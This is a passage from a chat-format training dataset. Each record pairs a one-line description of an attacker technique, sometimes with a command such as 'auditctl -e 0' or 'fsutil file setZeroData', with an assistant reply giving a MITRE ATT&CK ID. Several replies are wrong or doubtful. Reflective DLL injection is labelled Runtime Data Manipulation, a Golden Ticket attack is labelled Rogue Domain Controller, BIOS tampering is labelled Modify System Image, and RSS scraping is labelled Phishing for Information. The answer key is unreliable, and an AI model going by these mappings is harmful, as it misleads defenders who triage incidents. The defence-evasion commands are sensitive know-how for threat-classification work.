                "content": "The attacker performed a DNS rebinding attack to bypass same‑origin policy."
            },
            {
                "role": "assistant",
                "content": "T1584.002 - Compromise Infrastructure: DNS Server"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actor modifies the security descriptor of a service registry key to allow write access for a low-privilege user, then plants a malicious service binary."
            },
            {
                "role": "assistant",
                "content": "T1574.011 - Hijack Execution Flow: Services Registry Permissions Weakness"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker leverages the Windows ADMIN$ share over SMB to transfer a malicious PowerShell script to a remote machine."
            },
            {
                "role": "assistant",
                "content": "T1021.002 - Remote Services: SMB/Windows Admin Shares"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker leverages the Windows DLL search order by placing a malicious .dll file in the same directory as a legitimate application, causing the OS to load the malicious version."
            },
            {
                "role": "assistant",
                "content": "T1574.001 - Hijack Execution Flow: DLL Search Order Hijacking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary employs the NtCreateTransaction API to craft a bogus process that executes unsigned payloads without triggering security alerts, using Process Doppelgänging."
            },
            {
                "role": "assistant",
                "content": "T1055.013 - Process Injection: Process Doppelgänging"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware executes a PowerShell command \"Stop-Computer -Force\" to abruptly shut down the compromised machine as part of a denial-of-service routine."
            },
            {
                "role": "assistant",
                "content": "T1529 - System Shutdown/Reboot"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious script uses the organization's login API to generate a legitimate multi-factor authentication request sent to the victim's authenticator app."
            },
            {
                "role": "assistant",
                "content": "T1621 - Multi-Factor Authentication Request Generation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware scrambles its code sections using polymorphic mutation before execution."
            },
            {
                "role": "assistant",
                "content": "T1027 - Obfuscated Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries employ RC4-encrypted sockets to mask C2 communications."
            },
            {
                "role": "assistant",
                "content": "T1573 - Encrypted Channel"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious actor performs in-memory PE injection by abusing the Windows API to map a portable executable into a privileged process."
            },
            {
                "role": "assistant",
                "content": "T1055.002 - Process Injection: Portable Executable Injection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious script parses public RSS feeds to collect information about upcoming company events."
            },
            {
                "role": "assistant",
                "content": "T1598 - Phishing for Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An intrusion technique involves abusing PowerShell's Add-Type cmdlet to inject .NET code into another process."
            },
            {
                "role": "assistant",
                "content": "T1055 - Process Injection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker leverages steganography to embed a malicious macro inside the invisible characters of an HTML email body."
            },
            {
                "role": "assistant",
                "content": "T1001.002 - Data Obfuscation: Steganography"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using WMI's __EventFilter and __FilterToConsumer objects, the malware set up a stealthy backdoor that triggers on system startup."
            },
            {
                "role": "assistant",
                "content": "T1047 - Windows Management Instrumentation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attackers use a custom PowerShell script to read and dump LSA secrets, revealing service account passwords."
            },
            {
                "role": "assistant",
                "content": "T1003.004 - OS Credential Dumping: LSA Secrets"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An intrusion tool uploads exfiltrated database dumps through a compromised Dropbox account."
            },
            {
                "role": "assistant",
                "content": "T1567.002 - Exfiltration Over Web Service: Exfiltration to Cloud Storage"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A compromised network device forces hosts to use a malicious TFTP server for pre‑OS boot, leading to persistence."
            },
            {
                "role": "assistant",
                "content": "T1542.005 - Pre-OS Boot: TFTP Boot"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Red team tool enumerates the registry hive to gather system configuration details."
            },
            {
                "role": "assistant",
                "content": "T1012 - Query Registry"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor exploits a vulnerable API endpoint by repeatedly invoking a resource-intensive function, leading to CPU throttling on the target host."
            },
            {
                "role": "assistant",
                "content": "T1499.003 - Endpoint Denial of Service: Application Exhaustion Flood"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat group employed steganography, embedding malicious DLLs within innocuous JPEG files to bypass file scanners."
            },
            {
                "role": "assistant",
                "content": "T1027 - Obfuscated Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Through reflective DLL injection, the attacker changes the execution flow of a legitimate process at runtime."
            },
            {
                "role": "assistant",
                "content": "T1565.003 - Data Manipulation: Runtime Data Manipulation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker sends a phishing email with a link that looks legitimate but actually points to a malicious server hosting credential-stealing tools."
            },
            {
                "role": "assistant",
                "content": "T1566.002 - Phishing: Spearphishing Link"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker used a compromised privileged account to script the termination of all VM instances across multiple regions via the cloud provider's REST API, achieving rapid destruction of compute infrastructure."
            },
            {
                "role": "assistant",
                "content": "T1578.003 - Modify Cloud Compute Infrastructure: Delete Cloud Instance"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion sets the HISTSIZE and HISTFILESIZE environment variables to zero to suppress command history storage on compromised hosts."
            },
            {
                "role": "assistant",
                "content": "T1562.003 - Impair Defenses: Impair Command History Logging"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware compresses exfiltrated files using Base64 encoding before sending them over HTTP."
            },
            {
                "role": "assistant",
                "content": "T1132 - Data Encoding"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The exploit kit encodes its payload using GZIP and then base64‑encodes the result."
            },
            {
                "role": "assistant",
                "content": "T1001 - Data Obfuscation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker crafts an email attachment with a hidden right-to-left override character, causing the filename to appear innocuous while executing a payload."
            },
            {
                "role": "assistant",
                "content": "T1036.002 - Masquerading: Right-to-Left Override"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A botnet performs a sustained HTTP GET flood against a corporate endpoint, saturating its bandwidth and making the system unresponsive."
            },
            {
                "role": "assistant",
                "content": "T1499 - Endpoint Denial of Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries intercepted the code‑signing process, replacing the legitimate signed binary with a tampered version that retained the original digital signature."
            },
            {
                "role": "assistant",
                "content": "T1553.002 - Subvert Trust Controls: Code Signing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat group leverages a stolen X.509 certificate to sign a malicious DLL, bypassing application whitelisting."
            },
            {
                "role": "assistant",
                "content": "T1588.004 - Obtain Capabilities: Digital Certificates"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attackers gain access to a software supply chain repository and replace a core module with a trojanized version that exfiltrates data."
            },
            {
                "role": "assistant",
                "content": "T1195.002 - Supply Chain Compromise: Compromise Software Supply Chain"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intruder leverages a compromised Zoom meeting chat to collect authentication details shared by participants."
            },
            {
                "role": "assistant",
                "content": "T1552.008 - Unsecured Credentials: Chat Messages"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An advanced persistent threat utilized a USB-based hardware keylogger to capture keystrokes from a compromised workstation."
            },
            {
                "role": "assistant",
                "content": "T1056.001 - Keylogging"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker gains access to a CI job and modifies the Docker build step to include a payload, then the resulting container is deployed."
            },
            {
                "role": "assistant",
                "content": "T1610 - Deploy Container"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A nation‑state actor injects a signed malicious firmware image into the TPM to persist across OS changes."
            },
            {
                "role": "assistant",
                "content": "T1542.002 - Pre-OS Boot: Component Firmware"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An insider threat employed 'fsutil file setZeroData' to zero out sectors of a database file."
            },
            {
                "role": "assistant",
                "content": "T1485 - Data Destruction"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A compromised IoT device on the network was used to pivot to the web server and replace site files with defacement content."
            },
            {
                "role": "assistant",
                "content": "T1491.002 - Defacement: External Defacement"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary uses a custom XOR encryption scheme to obfuscate the payload's code before execution."
            },
            {
                "role": "assistant",
                "content": "T1027 - Obfuscated Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attackers use a scheduled task to periodically stop the Event Log service, preventing forensic evidence."
            },
            {
                "role": "assistant",
                "content": "T1562.002 - Impair Defenses: Disable Windows Event Logging"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attacker employs the ‘takeown’ utility to claim ownership of a critical configuration file before altering its permissions."
            },
            {
                "role": "assistant",
                "content": "T1222 - File and Directory Permissions Modification"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries execute a command that adds \"safeboot:minimal\" to the boot loader settings, circumventing normal security mechanisms."
            },
            {
                "role": "assistant",
                "content": "T1562.009 - Impair Defenses: Safe Mode Boot"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary executed 'auditctl -e 0' to disable the Linux audit system."
            },
            {
                "role": "assistant",
                "content": "T1562.012 - Impair Defenses: Disable or Modify Linux Audit System"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries install and use TeamViewer on compromised hosts to establish persistent remote control for data exfiltration."
            },
            {
                "role": "assistant",
                "content": "T1219 - Remote Access Software"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious code is embedded in a signed driver that uses a fake certificate, allowing it to load without triggering driver signing enforcement."
            },
            {
                "role": "assistant",
                "content": "T1036.001 - Masquerading: Invalid Code Signature"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor copies the contents of the SSH private key files from the .ssh directory."
            },
            {
                "role": "assistant",
                "content": "T1552.004 - Unsecured Credentials: Private Keys"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware drops a PowerShell script and then uses wmiexec to invoke it from a remote system, achieving indirect command execution."
            },
            {
                "role": "assistant",
                "content": "T1202 - Indirect Command Execution"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An exploit chain culminates in executing a Python payload that escalates privileges on a Linux host."
            },
            {
                "role": "assistant",
                "content": "T1059.006 - Command and Scripting Interpreter: Python"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The perpetrator performs automated searches on public DNS records to map out the victim's domain hierarchy."
            },
            {
                "role": "assistant",
                "content": "T1593 - Search Open Websites/Domains"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A ransomware drops its main executable as a disguised PDF file that contains a malicious macro, which extracts the payload at runtime."
            },
            {
                "role": "assistant",
                "content": "T1027 - Obfuscated Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A drive‑by infection occurs when a user’s browser loads a malicious script from a compromised online video platform, executing a payload silently."
            },
            {
                "role": "assistant",
                "content": "T1189 - Drive-by Compromise"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion replaces the BIOS ROM image with a tampered copy to gain low-level control."
            },
            {
                "role": "assistant",
                "content": "T1601 - Modify System Image"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An espionage campaign leverages a DGA that leverages the SHA‑256 of the system’s hostname combined with a secret key to produce a daily list of domains for beaconing."
            },
            {
                "role": "assistant",
                "content": "T1568.002 - Dynamic Resolution: Domain Generation Algorithms"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A threat group gains access to the web hosting control panel and substitutes the site's main banner image with a defaced graphic."
            },
            {
                "role": "assistant",
                "content": "T1491.002 - Defacement: External Defacement"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious actor uses a rogue DC to perform Golden Ticket attacks by forging Kerberos tickets for high-value accounts."
            },
            {
                "role": "assistant",
                "content": "T1207 - Rogue Domain Controller"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An adversary disables PowerShell transcription and command logging to hide its activity from defenders."
            },
            {
                "role": "assistant",
                "content": "T1562.003 - Impair Defenses: Impair Command History Logging"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware triggers the Verclsid system binary to execute a PowerShell script, masquerading the activity as a benign process."
            },
            {
                "role": "assistant",
                "content": "T1218.012 - System Binary Proxy Execution: Verclsid"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attackers dumped the Windows registry hive containing the SAM database to retrieve local user password hashes."
            },
            {
                "role": "assistant",
                "content": "T1003 - OS Credential Dumping"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attacker runs a DLL through rundll32.exe to avoid detection by security tools."
            },
            {
                "role": "assistant",
                "content": "T1218.011 - System Binary Proxy Execution: Rundll32"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An adversary uploaded a Python script to the target server that reads credentials from memory and exfiltrates them via HTTP."
            },
            {
                "role": "assistant",
                "content": "T1059.006 - Command and Scripting Interpreter: Python"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The infection process installs a disguised file whose signature does not validate, but appears valid to the user."
            },
            {
                "role": "assistant",
                "content": "T1036.001 - Masquerading: Invalid Code Signature"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Red team exercise: clear all persistence artifacts such as registry keys, scheduled tasks, and service entries."
            },
            {
                "role": "assistant",
                "content": "T1070.009 - Indicator Removal: Clear Persistence"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker runs a PowerShell script that executes Get-Service to list both running and stopped services on the compromised host."
            },
            {
                "role": "assistant",
                "content": "T1007 - System Service Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The incident report notes that the adversary leveraged a custom DLL injection technique to read the LSASS process’s credential store."
            },
            {
                "role": "assistant",
                "content": "T1003.001 - OS Credential Dumping: LSASS Memory"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware performs a stealthy port knock by issuing crafted TCP packets to a hidden set of ports, which when received in the correct order, enable a remote command channel."
            },
            {
                "role": "assistant",
                "content": "T1205.001 - Traffic Signaling: Port Knocking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious script updates the Kubernetes RBAC configuration to bind the attacker's account to the \"edit\" role in all namespaces."
            },
            {
                "role": "assistant",
                "content": "T1098.006 - Account Manipulation: Additional Container Cluster Roles"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attackers use a tool to erase recent network session records and strip away network configuration files."
            },
            {
                "role": "assistant",
                "content": "T1070.007 - Indicator Removal: Clear Network Connection History and Configurations"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attacker runs a script to locate and steal SSH private keys left in users' .ssh directories."
            },
            {
                "role": "assistant",
                "content": "T1552 - Unsecured Credentials"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The ransomware drops a cleanup routine that removes its own payload files once encryption is complete."
            },
            {
                "role": "assistant",
                "content": "T1070.004 - Indicator Removal: File Deletion"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A persistent threat leverages the PowerShell profile to run a base64-encoded payload whenever the PowerShell console is launched."
            },
            {
                "role": "assistant",
                "content": "T1546.013 - Event Triggered Execution: PowerShell Profile"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor exploits a vulnerability in the signature verification library that allows them to craft a corrupted signature that still passes validation, enabling execution of unsigned code."
            },
            {
                "role": "assistant",
                "content": "T1553.002 - Subvert Trust Controls: Code Signing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Modifies the contents of a victim's registry hive while the OS is running, altering security settings without a reboot."
            },
            {
                "role": "assistant",
                "content": "T1565.003 - Data Manipulation: Runtime Data Manipulation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries performed a cloud instance rollback, restoring it to an earlier snapshot to conceal their modifications."
            },
            {
                "role": "assistant",
                "content": "T1578.004 - Modify Cloud Compute Infrastructure: Revert Cloud Instance"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious code extracts the list of running containers and their resource limits via the cgroup filesystem."
            },
            {
                "role": "assistant",
                "content": "T1613 - Container and Resource Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The implant communicates over an encrypted WebSocket (WSS) connection to the C2 server."
            },
            {
                "role": "assistant",
                "content": "T1573 - Encrypted Channel"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker runs 'net view /domain' to list available trusted domains in the environment."
            },
            {
                "role": "assistant",
                "content": "T1482 - Domain Trust Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion tool reads the PCI device list from /proc/bus/pci to identify GPU and network adapter hardware on compromised hosts."
            },
            {
                "role": "assistant",
                "content": "T1592.001 - Gather Victim Host Information: Hardware"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker collects all temporary files created by the OS and uploads them to a remote server."
            },
            {
                "role": "assistant",
                "content": "T1005 - Data from Local System"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
